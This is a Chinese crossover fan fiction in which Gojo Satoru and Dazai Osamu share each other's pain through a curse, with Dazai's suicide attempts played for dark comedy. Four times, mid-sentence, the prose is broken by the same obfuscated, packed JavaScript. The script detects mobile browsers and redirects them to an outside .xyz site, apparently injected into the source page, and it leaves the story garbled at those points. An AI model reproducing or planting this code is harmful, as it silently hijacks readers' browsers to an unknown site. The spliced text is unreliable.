《太宰与最强的感官失控警报》 1. 第1章 “劲爆头条——我们的最强——悟,昨天差点被喜久福暗杀了!!” 咒术高专训练场上,熊猫大吼一声,小眼睛里,闪烁着洞悉一切的八卦光芒。 空气瞬间凝固,连扬起的尘埃都悬停半空。 片刻后,禅院真希的长枪“哐当”一声杵进地面,挑眉道:“……迟早的事。淹死在糖罐子里,是他最体面的归宿。” 狗卷棘默默掏出手机,指尖滑动,屏幕亮起——一张抓拍得堪称灾难的照片:五条悟被担架抬走的狼狈瞬间,白发糊了满脸,墨镜不翼而飞,只余下紧闭的眼,紧锁的眉。 虎杖悠仁和钉崎野蔷薇冲了过来。 “什么?五条老师怎么了?”虎杖声音里,震惊和关切满溢。 “哈?被喜久福噎死?这死法也太逊了吧!”钉崎语气夸张,难以置信里夹着一丝幸灾乐祸。 伏黑惠只是抬眼瞥了他们一下,又低下头,在一旁慢条斯理地拧着毛巾,仿佛这惊天八卦,还不如毛巾上的水渍值得关注。 家入硝子不知何时出现在了训练场里,指尖夹着一根未点燃的烟。她面无表情,将一张报告纸拍在众人面前。 “喉部解剖结果——无外力挫伤,无喉肌痉挛,无咒力侵蚀残留。”修长手指屈起,指关节在那行结论上用力敲了敲:“窒息原因不明”。 她环视一圈表情各异的学生,仿佛在宣读一份来自荒诞现实的判决书。 “结论:我们战无不胜的‘最强’先生,在仙台街头,被一颗裹着毛豆生奶油的糯米团子,实施了一场近乎完美的谋杀……未遂。”硝子终于点燃了那支烟,深吸一口,缓缓吐出青白色烟圈,烟雾缭绕,飘过报告纸上,那行荒谬的结论: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389682|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 建议将喜久福正式列入特级咒灵图鉴。” 对特级咒术师能有这么大杀伤力,可以升咖了。 虎杖彻底宕机,看看报告,又看看硝子,最后求助似的看向伏黑惠,“伏黑,五条老师……他真的差点被甜点干掉了吗……所以下次伴手礼选麻薯?至少比较软……” 伏黑惠面无表情地伸手,扯下那张报告。他没有回答虎杖,只是对着脚边低声道:“玉犬。” 黑色的玉犬听命站起,小跑向训练场角落,片刻后,叼着一个透明的证物袋回来,乖巧地放在主人脚边。 袋子里,几片形状不规则的墨镜碎片,在清晨澄澈的光线下静静躺着,折射出细碎、刺眼的光芒,如最强神话崩塌后的昂贵遗骸。 伏黑惠的目光落在那些残骸上,仿佛在无声确认:这个世界,确实比他想象的,还要疯狂得多。 2. 第2章 时间回到昨天…… 仙台,喜久水庵门口,长队活像一条垂死的蛇,尾巴已经甩到旁边银行的ATM机上。 五条悟杵在蛇头,一米九的身躯,跟个插错地方的白色路标似的。这里正在销售限量毛豆生奶油喜久福——他跨越了小半个日本版图,为此而来。 糯米团子终于落入掌心,雪白滚圆,翠绿粉末像初春毒蕈,散发着诱人甜香。 “谢啦。”他捏了捏,指尖陷进云朵般的柔软里,留下一个犯罪现场凹痕,仰头,张嘴,吞咽。 甜蜜奶油滑向喉咙的瞬间,一阵窒息感,在他喉咙深处爆开! 空气被瞬间斩断,“无下限”在来自内部的背刺面前,成了廉价笑话。攻击来自体内,来自某个诡异链接的彼端。 五条悟眼前一黑,踉跄撞向贴满促销海报的灯柱。墨镜飞出去,在水泥地上粉身碎骨。他死死卡住自己脖子,青筋在皮肤下爆凸。 人群尖叫声,隔着一层厚重浑浊的水幕传来,窒息感凶狠霸道,灌满了他的肺叶和大脑…… 同一时刻,鹤见川锈红色的浊流,正流进太宰治的口腔。 他选了个不错的黄昏,夕阳壮丽,水流温柔。他放松四肢,任由熟悉的冰凉拥抱自己,意识在缺氧中,渐渐模糊下沉。肺部最初的烧灼感,是每次入水的必然前奏,他早已习惯,甚至带着殉道者般的享受,甘之如饴。 但接着,灼痛没有像往常一样,带来濒死的飘然,它……炸了! 似巨锤楔进胸腔,虎爪撕开肺叶,痛苦超越溺水,庞大蛮横。 太宰治在水下突然睁眼,瞳孔紧缩。挣扎是徒劳,冰水成了助燃剂,将内部焚烧的难受,催发到极致。 意识沉入黑暗前,最后感知到的,是肺叶在一种绝非溺水的力量下,彻底爆裂开的幻觉。 …… 高专医疗室的惨白灯光下,五条悟脖子上的紫红勒痕十分显眼,是他自己的杰作。此时,他正半躺在病床上,等待宣判。 “心肺正常,食道无损,喉肌无痉挛……”家入硝子合上硬质文件夹,声音清脆,“结论:查无病因。疑似罕见瞬时神经性窒息痉挛。” 烟雾拂过五条悟难得显出一丝脆弱的俊脸,“最强被一块喜久福噎死?”她短促嗤笑,“这笑话够我笑到下个世纪。” 五条悟想反驳,喉咙肌肉稍一动弹,却牵扯出火辣闷痛,只能翻出一个惊天动地的白眼,作为无声抗议。 横滨病房,太宰治的脸是溺水后的死灰色,像被暴雨打蔫的鸢尾。他正小口啜饮与谢野晶子塞过来的热茶,每一次吞咽,都牵动胸腔。 “肺水肿,程度与溺水时间严重不匹配。”与谢野抱着手臂,“更像是……窒息效果成倍叠加,且1+1大于2。”她的目光刮过太宰治苍白的脸,“查无其他病因。结论:不明原因急性肺损伤。”她顿了顿,荒谬感让她咬牙切齿,“所以,你是想告诉我,你跳河跳出了新高度,顺带把肺当烟花放了?” 太宰治虚弱地勾起轻佻笑容,唇瓣微启,台词尚未出厂,一阵呛咳突然攫住了他。他的身体痛苦地蜷缩起来,咳得撕心裂肺。 国木田独步站在一旁,摊开的笔记本上,一个字也没写,笔悬在半空,眼神凝重,如临深渊。 同一刹那,高专医疗室的五条悟倒吸一口冷气,胸腔深处,传来一阵极其陌生又剧烈的绞痛,像有只手,在他肺叶上拧了一把,痛得他瞬间渗出冷汗,连“无下限”,都本能地波动了一下。 “喂!”硝子按住他肩膀。 五条悟急促喘息,捂住胸口,苍蓝瞳孔里,第一次掠过真正的不解,和被冒犯的惊疑。 那剧痛来得凶猛,消失得突兀,只留下胸腔被掏空般的钝麻。 “……没事。”他哑声挤出两个字,目光沉沉投向窗外浓夜…… 几天后…… “查无病因?” 夜蛾正道的手掌拍在校长室桌面,文件惊跳。 两部免提电话互相对峙着,一部传出硝子冷冽的汇报,一部是福泽谕吉低沉的叙述。空气紧绷如弦,两端,都系着无法理解的致命谜团。 “无法解释的同步剧痛……诅咒?媒介?痛觉共享?”他每吐一词,眉头锁死一分。 “样本仅此二人,范围未知。”硝子的声音透过话筒,冷静到残酷,“媒介……排除物理接触、咒力残留、常见诅咒物,更像强制性的生命链接。”她停顿,字字如冰,“强度与致死性,他们用身体演示过。” 仿佛为了印证,新的报告踩着话音冲进来。夜蛾的助手脸色惨白,递上两张传真。 第一张,东京现场记录:“五条悟遭特级咒灵贯穿腹部。反转术式修复,无碍。”字迹潦草。 第二张,侦探社医务室:“太宰治会议室突发剧烈腹痛,昏迷。与谢野急救中。”落款国木田,笔画僵硬。 时间戳,分秒不差。 夜蛾盯着报告,厚实的肩膀塌陷下去。电话里传来另一个男声——被迫卷入这场离奇公关的森鸥外。背景音里,小女孩的甜美撒娇,与凝重氛围格格不入。 “情况已知。真是……令人困扰的缘分啊。”森鸥外声音圆滑,“贵方五条君与我方太宰君……既然痛觉共享已成事实,为双方医疗资源计……”他刻意停顿,欣赏对方的怒火升腾,“鄙人有个不成熟的建议——不如让两位当事人……结为连理如何?” 夜蛾指关节捏得咯咯响。这家伙从前是港口mafia老大,虽然跳槽去了侦探社,但言谈举止,好像依旧是一派□□风格。 森鸥外恍若未闻,语气愈发温和,字字如刀:“至少,将来频繁的医疗账单,可以名正言顺地AA制了。您说呢,夜蛾校长?分摊痛苦,可以从分摊账单开始嘛。” 夜蛾额角青筋暴跳,他深吸一口气,声音从牙缝里硬挤出来,带着被荒谬现实碾过的沙哑:“……建立专线,24小时紧急联络……在下一个账单寄来之前!” …… “紧急联络专线测试,咒术高专,收到请回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389683|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复。” 机械女声在侦探社新辟的“联络监控室”里回荡。国木田独步戴着崭新耳机,镜片反射着屏幕上跳动的绿色数据流。“武装侦探社,信号清晰,数据同步中。”他手指飞敲键盘,调出太宰病房的生命体征,另一块屏幕,强制链接高专五条悟的加密生理数据。两条生命曲线并排延伸,任何细微波动,都让国木田的手指停顿少许。 他目光扫过屏幕,五条悟的曲线平稳,太宰治的则在微弱起伏,显示主人还在昏迷中。 国木田感觉相当荒谬——他正隔着几百公里,监控着两个麻烦精的生命,只因他们被“绑”在了一起。 这世界,果然疯得很有创意,也很有病。 高专地下监控室内,伏黑惠面无表情。 屏幕一边,是五条悟的豪华监护室——那家伙正把咒骸捏成捏成各种……不可描述的抽象派艺术品,对着摄像头做挑衅鬼脸;另一边是太宰病房,苍白寂静,只有仪器滴答,规律得如同催眠。 伏黑惠确认曲线正常,对着麦克风,声音和他的人一样缺乏温度:“数据确认,高专这边……观察对象暂时安分,没作死。” 横滨病房灯光昏暗,太宰治眼睫颤动,缓缓睁开。他眨了眨眼,目光茫然地落在天花板上。 “醒了?感觉如何?”与谢野冷硬的声音响起,她检查输液管的动作利落,近乎粗暴。 太宰治没回答,他侧过头,望向窗外横滨迷离的夜色。霓虹灯在玻璃上,晕开模糊的彩色光斑,如一个遥不可及的幻梦。 他抬起没插针的手,指尖轻拂隐隐作痛的脖颈——那里曾被无形绳索勒紧,带来濒死窒息。一种奇异的链接感,像看不见的丝线,穿透遥远距离,牢牢系在某个未知的、强大的、同样麻烦的存在身上。 他发出一个极轻的气音,像是叹息,又像是对深渊发出的邀请函:“啊……真是变得……有趣起来了呢。” 高专监护室里,五条悟盘腿坐在大床上,面前摊开了一堆新买的喜久福。 他捏起一枚,感受那熟悉的柔软,盯着它看了几秒,然后以近乎虔诚的慢动作,小心翼翼咬下一小口。 温软的糯米和甜腻的馅料在口中化开……没有窒息,没有无形巨拳…… 只有劫后余生的甜美。 他嚼着,咽下。喉结滚动,安然无恙。 五条悟猛地仰头,爆发出夸张大笑:“哈哈哈!老子活过来了!”他三口两口吞掉剩下的喜久福,满足地眯起眼眸,像一只被顺毛的大型猫科动物。 然而笑意深处,有一丝探究沉淀眼底。他舔掉指尖的翠绿粉末,舌尖尝到甜,也尝到那链接留下的铁锈余味。 “喂,硝子,”他忽然扬声,对着墙壁上的通讯器,玩味盖过了轻快,“那个跟我‘心有灵犀’的自杀狂魔……太宰治,”他停顿一秒,墨镜后的蓝眼睛弯起,如猛禽锁定新奇猎物。 “真想……快点见见他啊。” 他的语气,就像在谈论一件新到货的危险咒具。 3. 第3章 五条悟的愿望,很快就实现了。甚至,早于他预料的时间。 太宰治,就那么突兀地出现在他的私人休息室里,像一朵阴郁蘑菇。 咒术高专的结界,对太宰治来说形同虚设。他窝在唯一一张看起来还算舒适的扶手椅里,身上还带着横滨海风特有的咸腥。 五条悟刚结束一场耗时耗力的特级祓除,墨镜歪斜在鼻梁上,制服沾了尘土。他推开门,脚步顿住,六眼瞬间锁定了那个不请自来的入侵者,苍蓝色眼眸在墨镜后,危险地眯起。 “哇哦,瞧瞧是谁来了?”五条悟的声音拖得很长,带着浮夸的惊讶,“侦探社的太宰先生,是来做客吗?可是怎么没人通报给我呢?还是说,你擅闯的,哦不,迷路了?” 太宰治慢悠悠地抬起头,眼眸里没什么情绪,只有一片倦怠的虚无。他扯了扯嘴角,露出一个虚假笑容:“五条先生,贵地的安保措施真是……令人安心。连我这种无害的小市民,都能如入无人之境。” 五条悟嗤笑一声,反手关上厚重的门,隔绝了外界声响。 他几步走到太宰治面前,高大身影极具压迫感地笼罩下来,弯腰凑近,几乎鼻尖相抵:“治君,你的‘无害’定义,是不是和‘世界和平’一样,属于薛定谔的范畴?” 太宰治眼皮都没眨一下:“比起五条先生……动辄让城市地图重画的‘无害’,我确实自愧不如。” 他反击道,声音依旧平稳,但指尖微微蜷缩了一下。 五条悟捕捉到了那细微的动作,嘴角勾起玩味弧度。他直起身,随手把沾了污迹的外套扔在一旁,动作流畅,漫不经心。 “说吧,所谓的痛觉共享,到底是怎么回事?尤其你这只青花鱼,为什么会游到我这潭死水里,是因为最强的颜值么?总不会是慕最强之名而来,想体验一下濒死快感吧?” 他走到小冰箱前,拿出两罐冰咖啡,扔了一罐给太宰治。 太宰治准确地接住,没打开,只是把玩着罐身。“五条先生很自信。就是因为痛觉共享,我来谈一笔交易。” 五条悟拉开拉环,灌了一大口咖啡,喉结滚动,“所以,我的麻烦,确实是因为你?难道说……你终于玩脱了,惹上了连‘无效化’都搞不定的东西?真是稀罕啊,原来,人间失格也有吃瘪的一天呢?” 他六眼运转,将太宰治从头到脚扫描了无数遍。 没有明显伤痕,没有诅咒气息,除了——脸色苍白得过分,精神萎靡得像是随时会散架。 太宰治迎着他的目光,只是眼底的虚无更明显了。 “的确,‘无效化’对它无效。这世界上,总有些东西,连‘消除’本身都束手无策。” 言毕,他抬起手,解开了自己咖色风衣的纽扣,然后是里面的马甲,最后是衬衫的领口。 动作从容,慢条斯理,却透着一股献祭般的神情。 五条悟盯着他,没有丝毫闪避,眼中玩味更胜。 太宰治衬衫的领口被拉开,露出他苍白纤细的脖颈,和一小片同样苍白的胸膛。然而,就在锁骨下方几寸,一个东西牢牢吸附在那里——不是伤口,更像一个活物。 那是一个巴掌大小的印记,由无数细密的黑色咒文构成,像一颗丑陋心脏,在皮肤下有规律地搏动着,散发出咒力涟漪。 那咒力气息古老,与太宰治本身格格不入,却又诡异融合。 “共生咒印,痛觉共享协议,一种失传已久的诅咒。中咒者与指定一方,共享一切痛觉神经。我的伤,他感同身受。他的痛,也会精准地反馈给我。直到一方死亡,或者……诅咒被强行破除。” 他指尖轻轻拂过那搏动的印记,带着一种病态的自毁倾向,“很不幸,这份协议的乙方,” 他抬眼,直直看向五条悟,“是你。” 五条悟六眼锁定着那个搏动咒印,庞大信息流涌入他的大脑。诅咒的结构、运作原理、与宿主神经的深度嵌合……以及那几乎无法被外力撼动的绑定力量。 一声轻笑从五条悟喉间溢出:“痛觉共享协议?治君,这是把我直接绑上贼船啊。连张像样的卖身契都没有,就要我签收?” 他放下咖啡罐,金属罐底磕在木质桌面上,在寂静中格外刺耳。“谁给你的胆子,让我接受这种……强制捆绑销售?” “不是我选择的你,是诅咒。” 太宰治系好衬衫扣子,遮住那令人不适的印记,语气恢复了轻佻,“它需要一个足够强大的个体来分担,所以,自动锁定了附近咒力反应最强烈的存在——很不巧,当时,我正坐在能看到东京塔的咖啡馆里,而五条先生你,大概正在附近的哪个街区‘清理垃圾’吧?” 他耸耸肩,“命运的巧合,或者,是我该死的运气,又或者……是诅咒它,独具慧眼。” 五条悟欺身向前:“巧合?” 他一把攥住太宰治纤细的手腕,力道大得要捏碎骨头,将他从椅子上粗暴地拽了起来,抵在墙上。 太宰治的后背撞上墙壁,闷哼一声,眉头蹙起。 “你觉得这是巧合?” 五条悟的声音压得极低,带着风暴来临前的危险平静,“还是你这只狡猾的青花鱼,精心计算好的陷阱,嗯?” 他另一只手,突然扯开太宰治刚系好的衬衫领口,指尖带着滚烫温度,直接按在了搏动的咒印之上! “唔——” 太宰治身体绷紧,五条悟手指触碰咒印的瞬间,一股尖锐剧痛,窜遍了他的四肢百骸! 与此同时,五条悟按在咒印上的手指也猛地一僵。完全陌生的痛感从指尖炸开,沿着手臂神经,一路咆哮,冲向大脑。如此清晰真实,完全不同于他战斗时承受的物理伤害,更像一种被强行嫁接的折磨。 “感受到了吗?共享协议,童叟无欺。我痛,你便痛。你伤,我也别想好过……” 太宰治声音因剧痛而发颤,但嘴角却勾起嘲讽弧度,“五条先生,现在……你还觉得这是个陷阱吗?我们,已经同在陷阱之中了。” 他喘息着,鸢色眼眸蒙上一层水雾,却依旧盯着五条悟,像在欣赏他此刻的错愕。 五条悟抽回手,仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389684|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被那咒印烫到。 他低头,看着自己完好无损的手指,又看看太宰治苍白脸上隐忍的痛楚,第一次清晰地认知到,这个诅咒的霸道程度。它不讲道理,强制连接,将他这个最强,和一个一心求死的“人间失格”强行捆绑在了一起,还要分享私密而原始的感官——痛觉。 “真是……恶心透了。” 五条悟的声音挤出来,带着嫌恶和一丝失控感。他引以为傲的“无下限”,隔绝不了这种来自灵魂层面的强制链接。五条悟烦躁地一把扯下墨镜,苍天之瞳暴露在空气中,里面翻涌着怒火和被冒犯的暴戾。 “解除它。” 他命令道,声音不高,却带着威压,整个房间的空气,仿佛都因他外泄的咒力而变得沉重。 太宰治靠在墙上,勉强支撑着身体,冷汗浸湿鬓角。他扯出一个虚弱又恶劣的笑:“五条先生,‘人间失格’对它无效。它像跗骨之蛆,已经和我的神经长在一起了。唯一的解除方法,要么是我死,” 他的眼眸闪过奇异的光,“要么……就是你死。” 他欣赏着五条悟眼中燃起的风暴,慢悠悠补充道:“或者,找到一种能超越这诅咒规则本身的力量,强行把它…无效化。不过,连‘人间失格’都做不到的事情……” 他摊了摊手,意思不言而喻。“大概,只有依靠神迹了吧?” 五条悟向前一步,两人之间的距离再次压缩到极限,他能清晰看到,太宰治因疼痛和虚弱,而微微颤抖的睫毛,“所以,你来找我,你所谓的交易,是……求死?” 他的声音低沉下去,“想借我的手,或者借这个诅咒,达成你梦寐以求的清爽自杀?治君,你这算盘打得,横滨都听见了。” 太宰治没有否认,只是轻轻叹了口气,那叹息里,带着无尽疲惫和如愿以偿的解脱感。“五条先生果然聪明。这诅咒是意外,也是机会。它绑定了你,一个强大到能轻易杀死我,又大概率不会被我牵连致死的存在。” 他抬起眼,眼神空洞却又带着一种近乎纯粹的期待,“杀了我,你就自由了。或者……你也可以选择忍受这份‘共享协议’,直到我哪天运气好,自己死掉?不过,我建议选前者。效率更高,对你也更有利,不是吗?” 他像个推销员,平静地推销着自己的死亡。 五条悟看着眼前这个一心求死的男人。苍白,脆弱,像一碰即碎的琉璃,内里,却包裹着最深沉的自毁欲望和最精密的算计。 他厌恶这种感觉,厌恶被算计,厌恶被强行绑定,更厌恶这份被迫分享的,不受控制的痛楚。 杀死他,确实是最简单粗暴的解决方案。以他的能力,让太宰治毫无痛苦地瞬间消失,轻而易举。然后,这该死的诅咒,自然会随着宿主的死亡而消散。他依旧是最强,无拘无束。 这个念头在五条悟脑中清晰闪过,带着冰冷的诱惑。 他甚至能感觉到,自己指尖凝聚咒力时那熟悉的微麻感。只需一瞬,一切麻烦都将结束。 杀了他……杀了他吧……让这荒谬的协议,连同这只麻烦的青花鱼,一起化为灰烬。 4. 第4章 然而,就在咒力即将喷薄而出的刹那,太宰治锁骨下的咒印,出现一阵剧烈搏动,一股前所未有的剧痛,瞬时席卷了五条悟! 痛感源于咒印本身,仿佛在对他意图伤害宿主的念头,发出最严厉警告,又像是诅咒因濒临毁灭,而疯狂反扑。 “呃——” 饶是五条悟,也被这突如其来的剧痛,冲击得闷哼一声,凝聚的咒力瞬间溃散。 他下意识捂住胸口,那里明明没有任何伤口,却让他眼前发黑,呼吸都为之一窒。 而作为源头的太宰治,反应则更为剧烈。 他整个人蜷缩起来,身体剧烈痉挛,像离水之鱼,脸色瞬间惨白如纸,连痛呼都发不出来,只有喉咙里溢出破碎气声。 顺着墙壁,他滑倒在地…… 五条悟强行压下那股翻江倒海的剧痛,六眼清晰看到,太宰治的生命体征,在诅咒反噬下急剧下降……这诅咒,竟霸道至此! 它不仅共享痛觉,更像一个恶毒共生体,对宿主的杀意,会触发它玉石俱焚的反击——太宰治死,诅咒会消亡,但在那之前,它会让宿主和绑定者,都承受难以想象的痛苦,甚至可能拉着绑定者一起重创! “混蛋……” 五条悟低咒一声,眼中风暴更盛。 这哪里是求死,这分明是拖人下水。 太宰治这个疯子,他根本不在乎自己怎么死,他只想死,甚至不惜拉上他这个“最强”垫背或者承受痛苦! 看着地上蜷缩成一团,痛苦到近乎失去意识的太宰治,五条悟感到一种被彻底戏耍的暴怒。 杀,会触发诅咒反噬,自己也要承受剧痛。不杀,难道要忍受和这个一心求死的麻烦精,共享痛觉一辈子?看他时不时地自残、作死,然后自己被迫感同身受? …… 片刻后,五条悟的私人休息室,像被特级咒灵蹂躏过。 罪魁祸首本人正烦躁地抓着他那头嚣张白毛,脚下踩着一堆黑色碎片——这是他捏碎的墨镜。 最强咒术师的怒火,在无下限术式里坍缩成黑洞。 他咬牙切齿,指尖凝聚的“苍”刚触及皮肤,就被规则之力硬生生弹开,反震得他手腕发麻。他试过用反转术式冲刷神经节点,咒力如泥牛入海;尝试用“赫”的斥力场强行剥离,结果只在自己胸口震出一片淤青…… “见鬼!”五条悟低咒。他原本隔绝万物的“无下限”,现在却像个筛子,精准漏过一切痛觉信号,只要其来自太宰治。 仿佛他的神经系统,被强行架设了一条跨国专线,而另一头的客户,是个热衷于体验濒死的疯子。 太宰治在一旁,冷眼旁观这场——由最强咒术师主演的“售后维权”,他早已明白,结局一定是徒劳无功。 “放弃吧。规则级的诅咒,不讲道理。除非你能把自己从‘人’的范畴里摘出去……” 鸢色眼睛懒洋洋地瞥向五条悟,嘴角是一个毫无诚意的弧度。 五条悟突然转身,俯视着太宰治苍白倦怠的脸:“青花鱼,你给我解释清楚。你跳河,我窒息——这他妈合理吗?牛顿的棺材板都按不住了。” 太宰治轻笑出声,那笑声有一种事不关己,令人火大的慵懒。 他微微偏头,露出纤细脆弱的脖颈线条,声音轻飘飘地,像是在讨论下午茶的选择: “五条先生,何必拘泥于物理定律呢,量子纠缠了解一下?”他语气里是殉道者般的奇异蛊惑,眼眸中,倒映着五条悟濒临暴走的身影,“不如……和我殉情?一了百了,双赢。” 此刻,五条悟只想当个杀鱼匠。 他捏紧了拳头,指节发出不堪重负的脆响。看着那个仿佛随时会化作泡沫消失的灾祸之源,他又想起自己莫名其妙被共享的窒息濒死感…… 五条悟猛地抬手,不是攻击,而是狠狠指向太宰治,每一个字,都从牙缝里碾磨出来: “听着,你这只麻烦的青花鱼!从现在起,你的命,不再只属于你自己,给我收起你那可悲的自杀美学!” 他的声音低沉下去,夹杂着被逼到绝境的强横和狠厉,“在老子找到办法,把这该死的‘共享协议’撕碎之前——你,给我像千年王八一样,好好活着!” 太宰治脸上,那抹虚假的笑意缓缓褪去,鸢色眼眸深处,一丝被强行打断计划的愠怒,悄然浮现。 他会乖乖听话吗?他不会。 太宰治用实际行动证明,他对“千年王八养生计划”的理解,仅限于字面意思——指活得够久,以便尝试更多死法。 五条悟的要求像耳旁风,吹过他缠着新绷带的耳朵,连个结都没打。 第一天,太宰治哼着殉情小调,在侦探社茶水间精心调制了“特供咖啡”,动作优雅如调酒师。他的目标明确——五条悟的味蕾与消化系统。 结果,五条悟正给虎杖悠仁讲解咒力精细操控时,突然脸色发绿,捂着嘴,冲向走廊尽头的垃圾桶,吐得惊天动地。 虎杖担忧道:“老师,您这是……新的咒力共鸣训练法吗?” 五条悟咬牙:“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389685|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是远程投毒。” 第二天,太宰治践行了他钟爱的挑衅重力使运动:用荧光粉,在中也心爱的古董跑车上,涂鸦了一只Q版暴躁矮脚猩猩,旁边标注“港口Mafia首席座驾·猩猩号”。 中也的怒吼和“污浊”爆发的红光,几乎同步抵达。太宰治被狂暴气流精准掀飞,同一时间,正在批作业的五条悟,感觉自己像被一辆泥头车创到,后背狠狠砸在墙上,手里的红笔,在作业本上划出一道狰狞血色长痕。 第三天,是一次稀松平常的踩香蕉皮事件,但被共享痛觉,升华成了行为艺术。 太宰治在超市生鲜区“意外”滑倒,姿势优美,像要拥抱大地母亲。 同一秒,正在祓除一只聒噪咒灵的五条悟,尾椎骨传来一阵熟悉的剧痛和失重感,咒力输出瞬间紊乱,“苍”的光芒歪斜,削掉了旁边一栋废弃大楼的屋顶。 而即使是开蟹肉罐头,也能被太宰治演绎成一场与死神的俄罗斯轮盘赌。他致力于研究每一个拉环的力学结构、金属疲劳点,试图证明,其暗藏的杀机足以割断颈动脉。 结果,是五条悟在高层会议上,手指突然传来被锐器切割的剧痛,然后捏碎了一个杯子。 日常的致命仪式,一桩接着一桩,没完没了。 “这日子没法过了!”五条悟瘫在硝子医务室的硬板床上,对着天花板哀嚎。 他刚刚同步体验了……太宰研究自动门夹头,带来的颅内震荡感。 “我感觉自己像个人体痛觉体验馆,唯一游客是个手持死亡通票的疯子,还他妈是终身免费VIP!” 硝子淡定地在本子上记录:“患者五条悟,症状:被迫害妄想症合并共享痛觉应激障碍。处方:认命。” 她合上本子,“或者,你可以考虑森先生的AA制婚姻提案?至少能共享财产,对冲一下医疗账单支出。” 就在五条悟认真思考用“茈”轰平鹤见川,以绝后患的可行性时,夜蛾正道推开他办公室的门,面色凝重,手里捏着一封没有邮戳的信。 信封是暗沉的红色,像凝固的血。他声音低沉,带着山雨欲来的压抑: “悟,出事了。刚收到的。”他将信递给五条悟。 五条悟皱眉接过,展开。信纸上只有一行字,是用某种猩红色墨水写成: 双生縛已启,盛宴开始——敬请享用。 信纸背面,一个由咒力构成的微小印记一闪而逝——与他曾经看到的,太宰治锁骨下,那个搏动着的双生蛇咒印图腾,一模一样。 5. 第5章 横滨的夕阳,把武装侦探社的窗户,染成了廉价橘子汁颜色。 太宰治正哼着殉情小调,将崭新的绷带卷拆封,虔诚得像在给情人宽衣解带。 雪白绷带瀑布般垂落,他捏住一端,轻轻掂量,鉴赏艺术品般认真端详着。仿佛在估算它的承重极限,思考着这次,该尝试哪种优雅的悬挂角度——是经典的房梁,还是更有创意的防火梯…… “嗯……今晚的鹤见川,据说有流星雨呢。在水底看,角度一定很别致……”太宰治自言自语,指尖捻着绷带,语气轻快。 话音未落,侦探社的窗户玻璃碎了。 空气被蛮横挤压,掀起的气浪,把国木田桌面上摞得整整齐齐的文件,吹成了天女散花,铺了一地。 一道刺眼白光,伴随着空间噪音炸开,瞬间填满了整个房间。 光芒散去,高个白色身影,像尊被强行塞进狭小庙宇的邪神雕像,突兀地矗立在太宰治的办公桌前。 白发支棱,墨镜遮眼,嘴角咧开一个堪称凶残的弧度。 五条悟抬手,语气熟稔,如拜访邻居:“哟,又见面了,我亲爱的痛觉共享搭子!”他目光锁定了太宰治手中,那卷刚拆开的绷带。“新到的?颜色挺正,适合给你自己捆个蝴蝶结,当告别礼。” 太宰治脸上的闲适瞬间风干,瞳孔地震,手指下意识收紧。 绷带垂落的那头,还可怜兮兮搭在桌上。空气里,残留的空间撕裂感和对方身上飘来的甜腻奶油味,让他胃部条件反射地抽搐。 周遭,侦探社员一秒进入战备状态,拔枪的拔枪,抽刀的抽刀。 谷崎润一郎的“细雪”,都快糊自己脸上了。中岛敦喉咙里发出威胁低吼,被国木田一把按住——后者正痛心疾首地试图从地上抢救他的“理想”,手指都在抖。 五条悟完全无视了这群背景板NPC。他朝太宰治弯下腰,压迫感像巨石倾轧,手指轻轻捏住了垂落桌面的绷带卷,动作温柔,似在抚情人脉搏。 “听说,你很喜欢用老子顶配的身体,去体验各种免费濒死项目?”他歪了歪头,墨镜滑下鼻梁些许,露出一线冰封的苍蓝,“消费意识挺强啊,自杀狂先生。” “咔嚓!” 清脆的断裂声令人头皮发麻,跟骨头断了似的——那卷崭新的绷带卷,被五条悟看似随意地两指一捻,棉纱枯枝般寸寸碎裂。绷带碎屑落下,在太宰治脚边,堆成一个小小的、讽刺的雪白坟冢。 侦探社员们的武器僵在半空。 五条悟直起身,拍了拍不存在的灰尘,仿佛只是碾死了一只蚂蚁。 